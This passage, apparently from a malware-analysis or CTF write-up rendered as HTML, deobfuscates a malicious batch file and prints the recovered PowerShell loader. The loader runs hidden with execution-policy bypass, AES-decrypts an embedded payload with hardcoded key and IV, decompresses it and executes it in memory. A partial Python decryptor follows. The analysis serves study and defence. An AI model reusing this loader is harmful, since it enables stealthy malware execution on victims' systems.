class="si">%%&lt;/span>&lt;span class="s1">klVPUdMJas&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XzWakcViZI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">htJeDhbeDW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ARecVABHyu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EDuGpmwedn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SKEwAQBRlN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bIgeRgvTeJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AnKEeEZdOq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXapePmHCe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YKwLsVwqOj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QCZuMFaZsV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RycUceHQZc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TOqZKQRZli&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hIpFAiXGDz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PmpGnAHBIo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nGqMpclaJV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NbOjNijxuU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hbnAmGyJMk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jpqWVBsCpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WXWHLOygSe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rjhOhltPzI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DCnzMxKRnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QGiWXkfFPy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">isQISZiBPJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iCcGUuJxVn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dGSGnKbkQW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gNabAkLFGN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pibEdoDBbD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AHKCuBAkui&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YYKSCuCbgJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IeRiYUFnCZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hzjnwzdyGY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KAlyOryibJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MBvrUwPCDz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WmHvayPxwd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">reviZiSttH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wwmTmFdRsZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JBUgbyTPxp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BaMYsIgnsM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DwiWdAaOiv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vXewtPjogB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">odWdfvJnBE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yPzFwnsYdA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xfHbUEWpFC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ySgQyAAfQH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QMmDXFyyag&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xllGdjvUjB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zuIYfGJIhV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MmhvJKSdep&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fxpyemHAMo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eFWpiweoyr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WQqetkePWs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qsPTvcejTS&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YiVTQhqRnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GEFNspgkfU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iREuYMPcTg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rVuFsOUxnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UmCJMMMcBg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VUeZKgDBUe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">roXhULjavE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uIWSZVpUHl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZNBNkxQuUl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ktDjVGpvOa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CMHWMmXlZO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RITIeDNkWx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UPfjubfNXt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GTgGJngEbX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zFvgtBzUer&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TfyrgNGxBL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hknFiXCnZQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xijYXotZPT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BlIFABuPAW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GJcpQprPXv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YmUoUKWAtR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tHHIjVCHeH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DNNdkNfTiI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XEcuUpquLQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EUwICZcugV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MJKqSlzRdg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FcrKUOEnOU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EiWocIreAk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LLNnWnTLBJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QzqEkBCLON&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uOGlqENvnk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TuqTvTpeOG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">USLedfRsdA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fFqNPWfBWr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AyyrPvjwjr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mxXhSCdBil&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MusMeoeDey&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OOiwgwuupI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WvjMoIIiUn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TEtLFfgLmA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rFsKCxpAbv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hImzprlFyw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GVIREkvxRa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qIhOqqdyjR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">shhyfkrTvn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UAnQUvXBfs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bSIafzAxiZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oNvGdyNkLt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SCbDgQuqTU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tBsRPAyhtG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KUKwZheGNw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">INPLAzQfUo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ekEoGMuERC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">aGQeJYSFDZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LODxmGMGqq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KtmeCApwQn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MAPkvbWKbC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HlBVDpGgba&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZNnASGtLCj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IwOqmlYsbl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JbFOJyRrBm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TiuQnZmosP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HkiSTlwlIs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rofQqYizRu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OckpqzbYcn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YJZmDySMUy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cGJiVEdEzp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QNxYaFZSBu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jxjvtHoTnR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fvEtritbuM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wxzMwkmbmY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yZlAoExoOn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pjrIjvjdGR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mYyPXMYwYi&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vnHosfjdeN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LfngwmfRCb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bivuMABwCB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GapFScCcpe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lfYSggLrsL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GhTXhmRnCR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ENADhKPHot&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KdByPVjCnF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PjdRUyhsyG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kpzxAxFvLw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rddZbDFvhl%&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">enc&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="s1">&amp;#39;%&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">tmp&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">i&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">tmp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">txt&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">:]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">enc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">:])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which, results in this script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">copy &lt;/span>&lt;span class="n">C:WindowsSystem32&lt;/span>&lt;span class="p">\&lt;/span>&lt;span class="n">WindowsPowerShell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">1&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">0powershell&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">exe&lt;/span> &lt;span class="p">/&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="n">execd&lt;/span> &lt;span class="n">exe&lt;/span> &lt;span class="n">-noprofile&lt;/span> &lt;span class="n">-windowstyle&lt;/span> &lt;span class="n">hidden&lt;/span> &lt;span class="n">-ep&lt;/span> &lt;span class="n">bypass&lt;/span> &lt;span class="n">-command&lt;/span> &lt;span class="nv">$eIfqq&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.IO.File]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;txeTllAdaeR&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">11&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;%~f0&amp;#39;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">Split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="no">[Environment]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">NewLine&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="k">foreach&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$YiLGW&lt;/span> &lt;span class="k">in&lt;/span> &lt;span class="nv">$eIfqq&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$YiLGW&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">StartsWith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;:: &amp;#39;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nv">$VuGcO&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$YiLGW&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Substring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">3&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="p">};&lt;/span> &lt;span class="p">};&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="nv">$VuGcO&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$BacUA&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Security&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Cryptography&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">AesManaged&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Mode&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Security.Cryptography.CipherMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">CBC&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Padding&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Security.Cryptography.PaddingMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">PKCS7&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Key&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IV&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Convert]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;gnirtS46esaBmorF&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">16&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="s1">&amp;#39;2hn/J717js1MwdbbqMn7Lw==&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$Nlgap&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">CreateDecryptor&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$Nlgap&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">TransformFinalBlock&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$Nlgap&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$BacUA&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$mNKMr&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">MemoryStream&lt;/span>&lt;span class="p">(,&lt;/span> &lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$bTMLk&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">MemoryStream&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$NVPbn&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Compression&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">GZipStream&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$mNKMr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="no">[IO.Compression.CompressionMode]&lt;/span>&lt;span class="p">::&lt;/span>&lt;span class="n">Decompress&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$NVPbn&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">CopyTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$NVPbn&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$mNKMr&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Dispose&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$uZOcm&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$bTMLk&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ToArray&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="nv">$gDBNO&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="no">[System.Reflection.Assembly]&lt;/span>&lt;span class="p">::(&lt;/span>&lt;span class="s1">&amp;#39;daoL&amp;#39;&lt;/span>&lt;span class="p">[-&lt;/span>&lt;span class="n">1&lt;/span>&lt;span class="p">..-&lt;/span>&lt;span class="n">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">-join&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="nv">$uZOcm&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="nv">$PtfdQ&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$gDBNO&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">EntryPoint&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="nv">$PtfdQ&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Invoke&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$null&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(,&lt;/span> &lt;span class="no">[string[]]&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;%*&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Short analysis on the script&amp;rsquo;s intention:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Step 1:&lt;/strong> Initiates AES decryptor using &lt;code>CBC&lt;/code> mode, &lt;code>PKCS7&lt;/code> padding mode, &lt;code>key&lt;/code> and &lt;code>IV&lt;/code> given.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Step 2:&lt;/strong> Decrypts the encrypted payload (via &lt;code>Window.bat&lt;/code>) using the above settings.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Step 3:&lt;/strong> Decompresses &lt;code>GZip&lt;/code>, then run the output as a &lt;code>binary&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We can use this Python script below to get the binary that I have stated in step 3 above.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">unpad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">gzip&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;2hn/J717js1MwdbbqMn7Lw==&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
